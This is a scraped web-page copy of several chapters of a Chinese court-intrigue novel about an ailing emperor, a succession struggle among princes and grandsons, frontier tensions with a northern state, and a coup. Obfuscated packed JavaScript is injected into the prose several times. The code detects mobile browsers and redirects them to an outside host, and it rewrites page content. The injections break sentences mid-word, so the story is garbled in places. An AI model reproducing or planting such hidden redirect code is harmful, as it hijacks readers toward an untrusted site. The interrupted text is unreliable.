***** 金陵。 在经历了一场内心的痛苦煎熬之后,陛下终于送走了太子的棺椁。 因为没有想过太子可能会走在自己前头的事情,陛下自然也没有提前为太子建起园陵。所以目前太子的棺椁被停放在陛下自己陵园内,与他的母亲邓皇后安置在一起。 陛下替太子挑选了一处临近自己陵园的风水宝地,等园陵修建完毕,再将太子的棺椁移入其中。 太子的棺椁移动后,朝上确实有臣子提出了关于如何安置太子妃和太子遗孤的事情。 陛下以太子妃孝顺勤俭、品性过人为由,特许她保留太子妃的头衔,带着几个年幼的儿女继续住在东宫。后宫的事务也不必假手他人,仍旧交由太子妃和楚国公主共同处理。 听到陛下的安排后,太子妃上书谢恩,但极力推辞了继续掌管宫务的任务。 考虑到太子妃心中伤痛,恐怕确实无暇他顾,陛下这才没有勉强。只是收回的后宫权柄并没有如一些人希望的那样交至妃嫔们手中。陛下令后宫诸司协助楚国公主,打理一应事宜。 后宫的安排不尽如人意就算了,陛下对他那几个儿子们的态度也变得暧昧不清。 太子丧仪结束后,就有朝臣试探性地上书,以事务繁忙为由,请陛下恢复吴王和赵王的职务。 面对这样的试探,陛下面上没有显露丝毫的不悦之色。然而他也没有松口让这两位王爷重回岗位,而是提溜着余下的四位皇子一道,入朝听政。 连着这两手安排,一些机灵点的朝臣们算是回过味来了。 看来陛下如今还未定好新任储君的人选,现在正是在考察这些皇子们呢。 陛下先前让楚国公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对他们家而言,太子留下的长子,确实是剩余选择中最好的一个了。 虽然在血缘上,外甥的儿子没法和亲外甥相比。但这一层血脉联系,无论如何也比别的关系更加牢靠。 再说了,太子妃母族世代都是文官,梁国公府到底是以武功立足,和太子妃家的竞争不会那么激烈。 想通这些关窍之后,梁国公自然要帮着陛下一起发力。 正因太子长子的最大劣势是年纪太小,他才会以身入局,主动配合陛下,用自身的态度来钓住四位皇子,尽量维持朝局稳定。 果不其然,在收到关于梁国公态度的反馈后,包括赵王在内的四名皇子意识到唯有陛下的意见才能起到决定性的作用。他们暂时放弃互相撕巴的动作,全都开始老老实实地入朝听政,争取在陛下面前刷足好感,早日拿下储君之位。 虽然这不妨碍他们继续在朝上拉拢人脉、组建势力,但有梁国公打头做榜样,一些还持观望态度的朝臣们也都表明了自己中立的立场,没有立刻下场选边。 尽管免不了有人想提前投资,趁机挣个从龙之功,但大部分的朝臣、尤其是一些身处高位的臣子,并没有这么快地被卷入四位皇子的储位争夺中去。他们打算像梁国公一样,暂时保持中立,等到局势更加明朗之后再做决定。 就这样,在陛下的努力维持和经营之下,朝堂暂时被维持在了一个相对稳定的局面。 76. 铺路 姜同云在婺州过的第一个年,总体来说还算比较平顺。 因邓皇后和太子先后逝世,金陵的皇城里都取消了例行年宴。齐王府上自然也不好大肆庆祝,所以就只简单摆了几桌,连着年前从杭州赶来的老爷子并府上的侍卫随从们一道,饮了几杯酒水,平平淡淡地守了一夜岁。 开年后,老爷子提过要回杭州。但考虑到先前孙池案发后,因山匪销赃一事,杭州也被牵连进去,如今杭州官场上正在陆续动人,也不大安稳,所以姜同云和谢怀雵极力挽留,让老爷子留在了婺州。 姜同云想留老爷子住下,也不单单只是因为杭州的环境问题。 不知怎么的,气候一向偏暖的南方,这一两年间突然开始变冷了。 去岁进入腊月后,婺州城里居然连着下了两场大雪,地上甚至都积起了一层雪来。过年的那两日虽然不再降雪,但因连日阴云、天气寒冷,先前堆积的雪全都结成了坚硬的冰壳子,王府里的侍女们有好些个都因为踩了冰霜而滑倒摔伤了。 眼看临近元宵,地面上的霜冰终于有了些化冻的迹象,谁料起了一夜的北风后,第二天又下了一场雪。 开年的阴沉持续到了三月中,才总算有了个好天气。 但这难得的好天来得太晚,婺州城里一直没能回暖。 眼见今年这天气实在冻人,姜同云生怕老爷子不慎患病无人照料,所以说什么也不愿意让老爷子独自呆在杭州。 老爷子拗不过外孙女,就这样在王府上住了下来。 四月中,难得遇上一个阳光明媚的好天,木樨一早去园子里剪了好几枝桃花,带回来给姜同云插了一瓶子。 “今年这天实在是冷。往年这个时候,桃花都谢得差不多了,今年居然才刚开不久。”木樨一边理着花枝,一边跟姜同云闲话,“希望明年能暖和一些,可别再这样冷了。” 姜同云正拿着剪子修剪掉多余的枝叶,听到木樨这话,握着剪刀的手不由一顿。 其实这两年的天气也不是骤然变冷的,而是有个循序渐进的环节。 照姜同云的看法,比起突发的偶然性|事件,现在这种情况更有可能是因为小冰期的到来。 不过她的地理知识水平实在有限,而且突然开始跟木樨解释科学原理也蛮奇怪的,所以她只放下剪刀,把先前修下的花枝拢到一处:“看这两年的情形,再要暖和可能有点难。接下去恐怕只会越来越冷了。” “啊?”木樨小脸一垮,“那会冷到什么程度啊?天天下雪,下到堆到房门口?那我们岂不是出不了门了?” 听她这话,姜同云失笑:“哪有这么夸张?真等冷到那种地步,搞不好你都是个老太太了,也不用你出门!” 木樨连连摇头:“不用出门也不行啊。这么冷,要冻死个人的。” 姜同云怔了怔。 她前世闲暇时翻看的一些科普文章突然浮现在她脑中。 好像确实是有说法,历史上的小冰期总是会带来包括战乱和王朝颠覆在内的种种灾难。 真要符合这种规律的话,那可就不止是冻死个人这么简单的事情了。 想到这里,姜同云连忙晃了晃脑袋:想啥呢。没影的事,自己瞎担心些什么。 一旁的木樨没有发现她的异常,自顾自地继续说着:“这一定只是今年才有的反常,明年肯定就不冷了。” 说话间,刚从外面回来的谢怀雵撩开门帘,进了屋内。见两人围着桌子正在插花,他笑着随口问了一句:“什么反常?” 姜同云只笑了笑:“在说这天气呢,实在是冷得——” 话音中止,姜同云皱着眉露出了疑惑了表情:“不,不对。还有一件事也不太对劲。” “我已经一个多月没收到含昭的信了。” ***** 此时的金陵,皇城之内。 刚刚应付完后宫妃嫔的谢含昭拖着疲惫的身体,走进了紫宸殿里。 “父皇现在的情况如何?” 陛下身边最受信任的大太监甘隆对着谢含昭行了一礼:“陛下已经退了热。方才醒过一回,用了一次药,这会儿又睡过去了。” “好。要是有事,马上派人来找我。” 目送甘隆进入内室,谢含昭忍不住按着眉心揉了两下。 今年的天气实在太冷。陛下上个月去京郊巡视大营,回来后就染了风寒,病了一回。 为了稳住朝臣,陛下瞒着自己的病情没有外传,只叫太医私下进行诊治。 所幸陛下病得不重,太医调理了几日后就顺利康复了。 原以为这场病就结束了,谁知道昨天夜里,陛下突然又起了高热,直到今早都没能退烧。 本来今天是有朝会的,因为陛下这突如其来的病,朝会也被取消了。 陛下能安心把宫务全权交给谢含昭,自然是因为对自己这个女儿有着足够的信任。 谢含昭是知道陛下想要培养孙辈的计划的。所以上次陛下生病时,谢含昭也是全力配合,帮着陛下一起瞒着外人。 昨夜陛下发热,甘隆依照陛下先前的吩咐,在第一时间内通知了谢含昭。谢含昭赶到后当即命人封锁了消息。 本以为熬过一夜,陛下能够清醒过来就好。谁知道他这一病,直接就睡到了次日。 眼看朝会在即,陛下却还没有醒来,谢含昭没有办法,只能让甘隆通知朝臣,以陛下身体不适为由,取消朝会。 这一下,前朝后宫就都动了起来。 前头皇子和朝臣们都想着法的来探问情况,后面妃嫔们更是闹着要来看望陛下。 朝上有甘隆用“静养”的借口顶着,加上还有反应过来的梁国公帮忙协调,倒是没出乱子。但后宫里,真就只有谢含昭独自支撑了。 好不容易安抚住妃嫔们,谢含昭这才有空来紫宸殿查看情况。 听到陛下已经退烧,还用过了药,谢含昭终于松了口气。 真要让那些人来看望陛下,只怕第二天就会有陛下不好的传言了。 但她也没法一直拖着不让别人来看,那样更容易给别人借故发挥的余地。 当务之急,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见他脸色并不太好,甘隆连忙替他拉好被子:“听说方才,太子妃带着两位皇孙和小郡主也来了一趟。” 听到孙子孙女来,陛下紧皱的眉头才稍稍舒展开来。他睁开眼睛看向甘隆:“他们人呢?” “太子妃听说陛下正在召见朝臣,怕您劳累,只领着孩子们在殿前磕了三个头就回去了。她说等您过两日大安了,再带孩子们过来看望您。” 听到甘隆的话,陛下心里熨帖的同时,又难免有些酸楚。 要是太子还在,自己病了就病了,何必像今日这般,还要忍着病痛受那些人的气呢? 想到这里,陛下忍不住叹了一口气:原本觉得自己身体硬朗,可以徐徐图之。现在看来,得尽快开始给长孙铺路了。 “两个小皇孙都已经懂事了,一直关在东宫里也不好。明日起,就让他们遵照皇子们的旧例,到宫中入学读书吧。” 77. 等待 “我觉得不对。父皇他……好像藏着别的打算。” “能有什么打算?”孙贤妃完全没把儿子的话放在心上,自顾自地挑着新送来的香膏,“老三缺乏才干,老六出身太低,也就剩下一个老七还算有点看头。可他年纪小,才刚入朝听政,在朝上毫无根基,哪能跟你比。” 听着自己母亲毫不在意的话语,谢怀晟只觉内心焦躁:“母妃,你可长点心吧!难道你不觉得,父皇最近的动作很奇怪吗?” 孙贤妃听着儿子的指责,心中不由烦躁,觉得手中的香膏都没了味道。她把盖子“啪”得一合,随手将东西扔在一旁:“陛下不就是把朝政托付了几名重臣打理嘛。他最近生病精神不济,找两个人分担一下,能有什么奇怪的?” “再说了,你们兄弟几个,原本都只能听政的,如今也都各自分到差事做了。与其想东想西的,你倒不如抓紧机会,再多拉拢些人过来。” 上回孙池的事情出来后,广宁伯府一脉都遭受了或轻或重的打击,这对入朝时间并不算长的谢怀晟而言已经是相当严重的损失了。 所幸太子死后,原本有些疏远苗头的钟家又因为这没法斩断的姻亲关系重新靠了过来,也算补上了孙池带来的损失。 如今论起四名皇子之间的人脉根基对比,谢怀晟还真能压过其余三个兄弟一头。 所以孙贤妃认为,这种时候应该把握机会,在已有的基础上扩大优势,进一步拉开跟其他三人的差距。 “对了,你最近有没有去给你父皇请安?”看儿子眉头紧锁,一副不悦的模样,孙贤妃忍不住又叮嘱起来,“生病的人最容易心软了,你平时有空多去看看、陪陪你父皇。我听宫人回报,说最近谢含昭那丫头可是天天去陪陛下用膳,还亲自服侍陛下用药呢。” 要不是她是陛下的女儿,加上邓皇后和太子已死,只怕后宫里那几个妃嫔早就都坐不住了。 听母亲拿谢含昭来跟自己比,谢怀晟不耐地“啧”了一声:“是我没去看吗?分明是父皇根本就不肯见我!” “父皇最近古怪的很!一面让我们接触政务,一面又叫太子那两个儿子入宫来读书了!” 陛下让两个皇孙入宫读书的事情,孙贤妃也是知道的。 但在孙贤妃看来,这也不是什么大事。 陛下毕竟也有年岁了。他突然没了大儿子,如今又生了病,想把大儿子家的两个孙子接到身边来多看两眼也是人之常情。 见孙贤妃还没意识到不对,谢怀晟咬牙切齿地说道:“我怀疑,父皇有把皇位继续传给太子这一脉的打算!” 孙贤妃顿时瞪大了眼睛:“你怎么会这么想!” 太子家那两个儿子比老七都小!主少国疑,陛下不至于这么糊涂吧! 但看儿子的表情,孙贤妃也忍不住迟疑起来:“只是遵循旧例让那两个孩子入宫读书,这也不能说陛下就……” “遵循旧例?”谢怀晟冷笑道,“循的哪门子的旧例?!从前只有皇子能被养在宫里读书的,他们俩是皇子吗?!” 先前就有个招人烦的谢怀雵。他是旁支倒也算了,可现在的这两个小崽子里,有一个是嫡长子的嫡长子呢! “父皇要是真的只想让他们来读书,那照惯例,太子家老大六岁的时候就该安排了。他前两年不提,怎么如今突然想起这茬了?” “再说了,如果只是为了读书,凭什么只有太子的儿子能入宫?老三家不也有个差不多年纪的儿子吗?” “母妃,你看看父皇给那两个小崽子安排的都是些什么人吧!跟当年太子的规格都差不多了!” 听到这里,孙贤妃脸色大变:“可他俩比老七都小……” 这话说得毫无底气。 孙贤妃自己心里也清楚,以陛下对朝局的掌控力,选谁做储君完全可以由着他的心思来。只要他想,挑个小孩子也不过只是多费一点力气的事情罢了。 孙贤妃突然想起来,自打第一次召见之后,这些时日以来,陛下确实没再见过哪位皇子嫔妃。 但太子家的那两个,每日下学后都会往紫宸殿去请安,陛下倒是见了他们好几回! 照这么说来,陛下对这两个孙子确实是太好了一些。 孙贤妃又想起,太子妃至今还住在东宫里,这会不会也是因为她是陛下属意的继承人的母亲,所以才能享受到这种破格待遇? 孙贤妃越想越觉得儿子的怀疑不无道理,当即心下大乱:“那……那这可如何是好?” 谢怀晟眉头紧锁,迟迟不语。 良久之后,他才缓缓答道:“母妃先前说的也没错。如今父皇还在病中,与其在这里想东想西,不如……抓紧机会。” ***** 时隔两个月,姜同云终于再次收到了谢含昭的来信。 因为陛下昏迷取消了朝会,他这次的病情已被所有朝臣知晓,谢含昭索性也就没再瞒着姜同云他俩,直接在信里说明了自己这段时间没有写信的缘由。 不过她也还记着轻重,只说陛下伤风,加上自己公务繁忙,没有说出陛下的实际情况。 收到谢含昭的信后,姜同云心里才算安稳了一些。 “如今陛下已经安排太子的两个儿子入宫读书了。”姜同云收好书信,转头看向谢怀雵,“据说连老师都是陛下亲自挑选的。” 谢怀雵点头:“我原以为陛下的动作会再隐蔽一些的。不过他骤然生病,难免多思,所以才会想着尽早安排的吧。” “金陵那边有陛下。而且我看近来的形式,大约梁国公和含昭也都成了陛下的帮手。有他们在,倒也不必过于担心。” 谢怀雵也看了谢含昭的书信。因为紫宸殿里保密到位,加上谢含昭信里也没有露出破绽,他也真以为陛下只是普通风寒,没有把这点小病放在心上。 “我现在更担心边境那边。” 和越朝不同,北边的晋朝一直没有确立储君。毫无疑问的,这晋朝的皇子们都在互相夺权。 所以这两年里,两国交界处一直都有摩擦。北边不仅调了不少兵马陈于边境几处重镇之内,还时常会派小股人马扰边犯境。 去年冬天冷,连南边的婺州都下了雪,边境线上的那几座州府自然也没能幸免。 年前的时候,几州守将就纷纷上奏,报告当地“积雪甚厚”、“不利人行”;好不容易在开年后化了雪,不想又连着下了几天的冻雨。 趁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜,因为他身在徐州、远离晋朝中枢,下手的动作晚了一些。好不容易才把人安排进商队里,他的下属还没摸清楚路呢,就在婺州落网了。 被抓的徐王下属是军队出身,嘴巴倒是蛮硬的,起初死扛着不肯开口。不过审问人员略施小计,让他误以为晋朝已经出手,花费了不小的代价赎走商队那个詹姓领队后,觉得自己被遗忘抛弃的人很快就崩溃了。 “根据那人交代,徐州及其周围的城镇里已经陆续囤兵至十万之众,其中还有一支五千人规模的骑兵。” 跟谢怀雵成亲这么久,耳濡目染之下,姜同云对兵种也有了一定的了解:“五千的骑兵?!” 晋朝皇帝能同意把这样一支队伍放到徐州,已经很能说明他的态度了! 谢怀雵面色凝重:“不止。据他所说,在他被调离军队之前,徐王甚至已经开始演练水战了。” “照这么说,这一场仗是免不了的了?” 谢怀雵叹了口气:“短时间内可能还打不起来。他现在应该还在等。” 等着邢国公死去、等着越朝痛失支柱的那一天。 78. 安排 紫宸殿内。 才病愈不久的皇帝陛下支着头,反反复复地看着手中奏折。 这是邢国公写来的密折。 打从撬开晋朝细作的嘴巴、从他们那里知道晋朝陈兵徐州的事情后,陛下就已秘密知会了远在边境的邢国公,让他想办法查证此事。 如今,邢国公的调查已经有了结果。 派出的斥候在经历一段时间的蛰伏和小心探查后,通过多方验证,证实了徐王手下那名细作所说内容的真实性。 甚至因为他被调离已经有段时间,晋朝后续又往徐州调了一些人马,斥候估算出来的军队人数比他交代的还要再多一点。 邢国公根据斥候调查到的内容进行了一番分析,得出了和谢怀雵一样的结论:徐王已经做足了准备,正在等待自己不在边境的时机。 邢国公马上就要到古稀之年了。 他已经替大越三任皇帝镇守边境几十年,他的子孙也都尽数折在了边境几场战役之中。如今的邢国公府已经凋敝得只剩老夫妻二人,还有一些同样零落的旁支血脉。陛下就是再狠心,也不能真让这样的老臣死在边境吧。 总是该找人接下邢国公的位置的,不然陛下怕是要被天下人戳着脊梁骨骂的。 可是有谁能接替邢国公的重任呢? 陛下揉着眉心,眯眼翻看着邢国公附在密折最末的将领名单。 邢国公已经为国尽忠了一辈子,他本人倒是不在意自己死在哪里。列出这份名单,也是为了以防万一。如果哪天他突然病了没了,陛下也能在第一时间内调派人手接手边境几州的防卫工作。 只是这份名单,实在是不能让陛下满意。 越朝不是没有过好的将领。 但这些统帅之才,全都在陆续折在了十几二十年前,越晋两国的数次交战之中。 像陛下的胞弟、前任齐王;又或者是邢国公那英年早逝的两个儿子;还有原本会继承义阳侯之位的姜弘捷。 如果他们还在,邢国公也不必一直苦撑着,这么大的年纪还得继续守在边境。 如今余下的,就只能算是矮个堆里拔高个,没有谁能有独当一面之才。 邢国公也知道这些将领的毛病,提出来的方案里都是协同驻守的搭配,没有能独挑大梁的选择。 邢国公倒是也提了几个值得培养的年轻将领。但这些人现在有着共同的弊端——资历太浅。 陛下越看这份名单越觉得痛心。 他自己如今身体不支也就罢了,怎么大越看着也要青黄不接了呢? 想到这里,他重重地叹了口气,揉着突突生疼的太阳穴,合上奏折放到一旁。 谢含昭就是在这个时候进来的。 见陛下眉头紧锁,她示意身后宫人先摆好膳食,自己则走到陛下身边,轻声唤道:“父皇。” 见是女儿来,陛下换上了笑脸:“是含昭啊。” 谢含昭关切地问道:“父皇可是觉得头疼?要不要儿臣给您按一按?” 陛下和颜悦色地说道:“只是国务繁杂,需要费心些罢了。” “可有让太医瞧过?”自打陛下上次病得高热不醒后,谢含昭就对他的身体状况相当紧张。 见女儿的眉头皱了起来,陛下连忙安慰道:“不是什么大毛病,只是时常会头疼罢了。太医来看过好几回了,也说不出个所以然来,只让朕好好休息。” “可你看看如今这个情况,朕能好好休息吗?” 谢含昭张了张嘴,但一想到如今的局势,她又无奈地说不出话了。 父皇想要把皇位传给太子哥哥的儿子,从私心来讲,谢含昭自然是支持的。但无论是哪个孩子,现在都还太小,需要陛下护持。 在这种情况下,陛下哪里能有好好休息的机会呢? “邢国公马上就要七十岁了,朕也不能一直让他守在边境吧。这不,还得考虑找人接替他的事情。”陛下隐去了晋朝暗中动兵的部分,只捡了些轻松点的内容来讲,“但此等重任,也实在是难挑人选啊。” “朕刚刚在想,过两年要不要把怀雵调去边境。” 邢国公的推荐名单上,当然也有谢怀雵的名字。 不过因为清楚陛下对谢怀雵的芥蒂和隐隐的防备,他并没有推荐陛下重点培养谢怀雵,只是用公事公办的口吻点了他的几个长处。 这倒也暗合了陛下原先的打算。 “怀雵为人稳重,忠心耿耿,你们这一辈里,他是最靠得住的。” 而且等皇位再传下一代后,谢怀雵和皇室主枝的血缘关系会变得更远,威胁也会更小。 但是,像谢怀雵这么合适又好用的人,陛下原本是想等局面稳定后,把他叫回金陵来给孙子辅政的。 如今边境也缺人,这让陛下一下陷入了两难的境地之中。 陛下对谢怀雵的安排,谢含昭也是知道一点的。这也是她在近期书信中有意识地向姜同云透露一部分金陵局势的原因。 这会儿听到陛下说想把谢怀雵调去边境,谢含昭立刻问道:“父皇可是在犹豫,究竟把齐王安排到哪里去好?” 陛下看着自己女儿,缓缓点头。 谢怀雵要是去了边境,那就不好再来给未来的天子辅政了。 一个掌过兵、甚至可能立下过赫赫功劳的名将,在有着亲王爵位的同时,如果还在朝堂上拥有足够的地位和权力,那恐怕无人能够制衡住他。 再加上未来天子年幼,到时候就算他本人没有野心,只怕他手底下的人也会逼他有野心的。 谢含昭斟酌了一下,方才作出回答:“那就让齐王去边境吧。” 陛下失笑:“朕以为你会更想让你怀雵哥哥和姜姐姐回金陵来。” 谢含昭摇了摇头:“事有轻重,防备外敌远比朝堂争斗要紧。如今边境缺少将领,但朝上还有能臣,自然要先紧着边境来。” 而且谢含昭是知道的。比起困在金陵里耍心眼,她的堂兄和姜姐姐,可能更愿意守在边境。 听到谢含昭的话,陛下沉默片刻后轻轻颔首:“说得在理。” 那就还是把谢怀雵派去边境吧。 不过具体去哪里还得好好想想。 而且晋朝既然已经有了动作,那就不能贸然换将,需要徐徐图之。得趁着邢国公还能为国效力,陆续把人安排过去,这样也能给他们一段适应的时间。 具体细节太过繁杂,陛下决定先将此事搁置一旁:“你是来陪朕用膳的吧?走,咱们父女俩先去吃饭。” ***** 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986306|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月后,谢怀雵收到了陛下自金陵寄出的一份密旨。 密旨上说了邢国公对徐州的调查结果,还提了邢国公给陛下举荐继任将领的事情。 陛下在密旨里写道,因为暂时无人能代替邢国公,所以他决定用数量来弥补质量。经过一番思量之后,他打算把谢怀雵也派去边境为将,驻守寿州。 寿州,当年姜同云的母亲许夫人守下的城池。 寿州城并不处于和北边交界的最前线位置,但因位置紧要、人口众多、方便向四周提供支援,也是边境一处重镇。 考虑到谢怀雵身份贵重,而且先前在战场上受过伤,陛下特意为他选了这么一个位置。在充分发挥他才干的同时,也不至于让他遭受直接对敌的危险。 陛下会做出这样的安排,也是想着留一个机会,万一将来哪天需要的时候,可以再把谢怀雵调回金陵来。 虽然晋朝动作频繁,但目前两国之间的局势尚算稳定,直接打起来的可能并不算大。陛下打算让谢怀雵先过去边境顶上一阵,等有了合适的人选再去把他换回来。 要是诸事顺利,到时候陛下在金陵安排了好一切,成功让自己孙子当上储君,届时再以储君名义奏请调他齐王叔回朝。 这样,谢怀雵既没有掌兵太久、在军中培养出嫡系,也没有打过仗、积累下足够的威望,再加上这帮他说情回京的情分,不怕谢怀雵不肯好好辅佐储君。 要是运气不好,真的打起来了,那就让谢怀雵长期驻守寿州,以保家国安定。 谢怀雵倒是没去向陛下这么多的小九九。 他本就一直在担心边境的情况,这下接到这封密旨,心中很是高兴:“陛下打算让我去寿州了!” 一旁的姜同云见他眉宇之间净是遮掩不住的兴奋,不由打趣道:“好好好,这下就只剩我待在家里担惊受怕了。” 听她这么说,谢怀雵不由一怔。 他还记得自己很小的时候,父亲在外打仗,母亲在家中是如何为他忧心的。 谢怀雵不忍让自己的妻子也受这种苦,当即道:“我会求陛下同意,带你一起过去的。” 姜同云愣住了:“可以吗?” 谢怀雵点了点头:“我是要去寿州,不是最前线,当然是可以的。不过真的打起仗来,我还是要把你送回来的。” 姜同云露出了放松的笑容来:“好!” 虽然打仗的时候还是要回来,但至少不用和他分离那么久了。 见她为此高兴,谢怀雵也笑了起来:“不过我们暂时还过不去。” “为什么?你先前不是分析过,徐州那边已经安排了不少人马,导致边境局势相当紧张了吗?” “就是因为局势紧张,所以才不能马上过去。” 谢怀雵循循善诱:“如果这个时候我们大批量地往边境派遣将领,对面发现后会怎么想?” 姜同云恍然大悟:“……估计会觉得我们也想动手了。” “对。现在那个徐王,巴不得跟咱们打一仗呢。无论如何,咱们也不能给他挑事的借口。所以人要慢慢地、分批次地换。” 第一批,陛下只打算给最前线的城镇增派两到三名将领。 “像寿州这种靠后一些的城池,估计得等到明年了。” 79. 碎簪 自打知道谢怀雵要被调去寿州之后,姜同云就开始提前做搬家的准备了。 “寿州那边,冬天的时候一般会有多冷?我们是不是得先做点毛皮袄子带过去?”姜同云翻看着目前已经列下的清单,勾勾画画地想着再增减些什么。 “是比婺州要冷,但也没那么夸张吧。”谢怀雵自己当年在边境的时候也没觉得有多冷。 不过转念一想,他家夫人跟他不一样,没有那么抗冻,于是就又补充了一句:“这两年天气变得厉害,你给自己多做几件。” 横竖库房里还有好些好皮子,等会儿就让人拿出来给她挑。 姜同云在清单上记了一笔,又问道:“那其他季节的气候呢?跟婺州都有什么不同?” 谢怀雵可真被她问住了。 当年他在边境的时候基本都跟着邢国公守在最前线,寿州城只去过寥寥数回。而且那会儿紧张着防备对面搞事呢,每天一睁眼,不是训练就是出兵,难得闲暇还要参与农事。哪怕问谢怀雵什么时候种什么作物,他都还能凭着记忆说上两句,但气候这种细枝末节的事情,他一时之间还真描述不上来。 谢怀雵无奈道:“夫人饶了我吧。我也就在那边呆了三年,哪里记得这么详细呢?” 顿了顿,他干脆给姜同云找点别的事情做:“再有两个多月就要过年了,夫人还是先想想今年过年怎么办吧。” 国孝已过,今年中秋的时候,宫城里也照常举办了宫宴,这就是解禁的信号了。 今年不必像去年那样简朴小心,而且两人说不得明年一开春就要离开,那可不得过好这个年节? 姜同云想了想,觉得谢怀雵的提议也有道理,遂放下清单,开始考虑过节的事情。 可她认真想了一圈,也没想到自己需要提前做哪些准备。 姜同云和谢怀雵一样,都不爱管府上那些零碎的事情。 横竖王府里有靠谱的内务官,还有大大小小二三十个管事,姜同云就干脆做个撒手掌柜,只管向管事们提出自己的需求,具体内容等着人家给她办就行了。 她只管最后核对账本,只要管事没以次充好糊弄她,又或者从中贪墨太多,姜同云就也懒得挑别人的毛病。 对自家夫人这种偷懒的做法,谢怀雵并无意见。 在没和姜同云成亲之前,他自己也是这么管王府里的杂事的。没道理成亲后王府就要重整规矩,还非要拿另一套标准去要求姜同云吧。 反正这对夫妻啥锅配啥盖,互相不嫌弃。 没想出个所以然的姜同云干脆摆烂:“什么怎么办?以前怎么弄,今年就也怎么来呗。” 去年她也就亲自忙了接老爷子过来的事情。今年老爷子一直就住在婺州,这块都省了。 “而且万一今年陛下又有了兴致,要我们回金陵去过节,那提前准备也都是白准备。” 说到金陵,正在翻看库房记录的谢怀雵手上一顿。 他突然想起来,按照惯例,今天上午他就该收到金陵那边传递回来的消息了。 这都已经迟了三四个时辰了,是发生什么事情了吗? ***** 此刻的金陵城已被完全戒严。 各处坊市大门紧闭,平时热闹的街道上空无一人,只有接管了城内防卫事宜的禁军队伍四下巡逻。 这种紧张的氛围,已经持续第三天了。 位于长乐坊的吴王府邸内,心急如焚的吴王妃正在来回踱步。 被派去打探消息的人一回来,吴王妃就赶紧拉住了他,叠声问道:“外面情况如何了?” 吴王府的小管事顾不得擦去额上的汗水,哭丧着脸道:“殿下怕是不好了!” 听到这话,吴王妃只觉身上的血都在倒流,几乎站立不住。 三天前的晚上,坊间闭门之前,宫里突然来人,说陛下身体不适,要求各位亲王公主入宫。 虽然那人的表情瞧着有些古怪,但吴王只以为是陛下病得严重,也没多想,就带着几个侍卫随从入宫去了。 谁知道第二天天还没亮,金陵防卫就被禁军接管,要求各处关闭坊门,坊内居民未经许可,不得外出。 吴王妃当时就觉得不太对劲。 她想借着自己亲王妃的身份闹一闹,谁知才说了没两句,领头的那个禁军直接就拔了刀。 吴王不在府上,吴王妃知道单凭自己,直接跟他们起冲突是占不到便宜的,只能忍气吞声退回了府里。 随后禁军就派人守住了吴王府的几个进出口。 吴王妃知道,宫里一定是出事了! 但她被困在王府里,只凭府里配备的三百卫兵,恐怕连长乐坊大门都冲不出去,根本什么都做不了。 好不容易挨过了一天,正在发愁的时候,府里有个小管事意外发现其中一处守门的禁军跟他是同宗的远亲。 吴王妃当即叫了这个小管事来,给了他好大一笔银子,让他想办法说通他的远亲,至少也要从对方嘴里套出点消息来。 昨天傍晚的时候,那名小管事借口出门清理泔水,成功跟他的远亲搭上了话。 有了这层亲属关系在,加上吴王妃给的那一大笔钱,对方的态度自然也松动了下来。 不过因为对方也只是禁军中一名小卫兵,知道的消息并不算多。 他只说陛下突发疾病昏迷不醒,所有的皇子公主们全被关在宫里不能出去。至于戒严的命令,似乎是统领左右神武军的两位大将军发出来的。 虽然只有这一点内容,但吴王妃心里愈发不安。 于是她又拿了一笔钱出来,托对方再去帮忙打探。 这会儿,小管事就是从对方那边问完新的消息回来的。 吴王妃握着身边侍女的手,勉力深吸了几口气,强撑着问道:“他具体说了什么?你一句一句告诉我。” “他说……说陛下已于今早传位赵王,随后就、就驾崩了!” “不可能!”吴王妃喝道。 她这般失态,不是因为她觉得,陛下会把皇位传给自己丈夫。 事实上,这几个月里,明眼人都能看出来,陛下表面上让四个儿子听政参政,暗地里存的是扶持先太子嫡子的打算。 在让两个皇孙入宫读书后不久,陛下又以往来不便为由,留了两个孩子在宫里住下。宫里给他们收拾的地方,干脆就是紫宸殿的一处配殿。 之后,他又数次在朝上夸奖两人聪慧、孝顺、有礼,尤其夸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们是何人?!”吴王妃端起亲王妃的架子厉声斥道,“此乃陛下亲赐吴王府!你们怎敢在此造次!” 领头那人穿着校尉服制的铠甲。听到吴王妃的怒喝,他扫了一眼院中情形,冷冷地开口道:“吴王勾结卫王、七皇子,带兵入宫,意图刺杀大行皇帝。现奉陛下旨意,前来查封吴王府。一应人等,尽数羁押!” 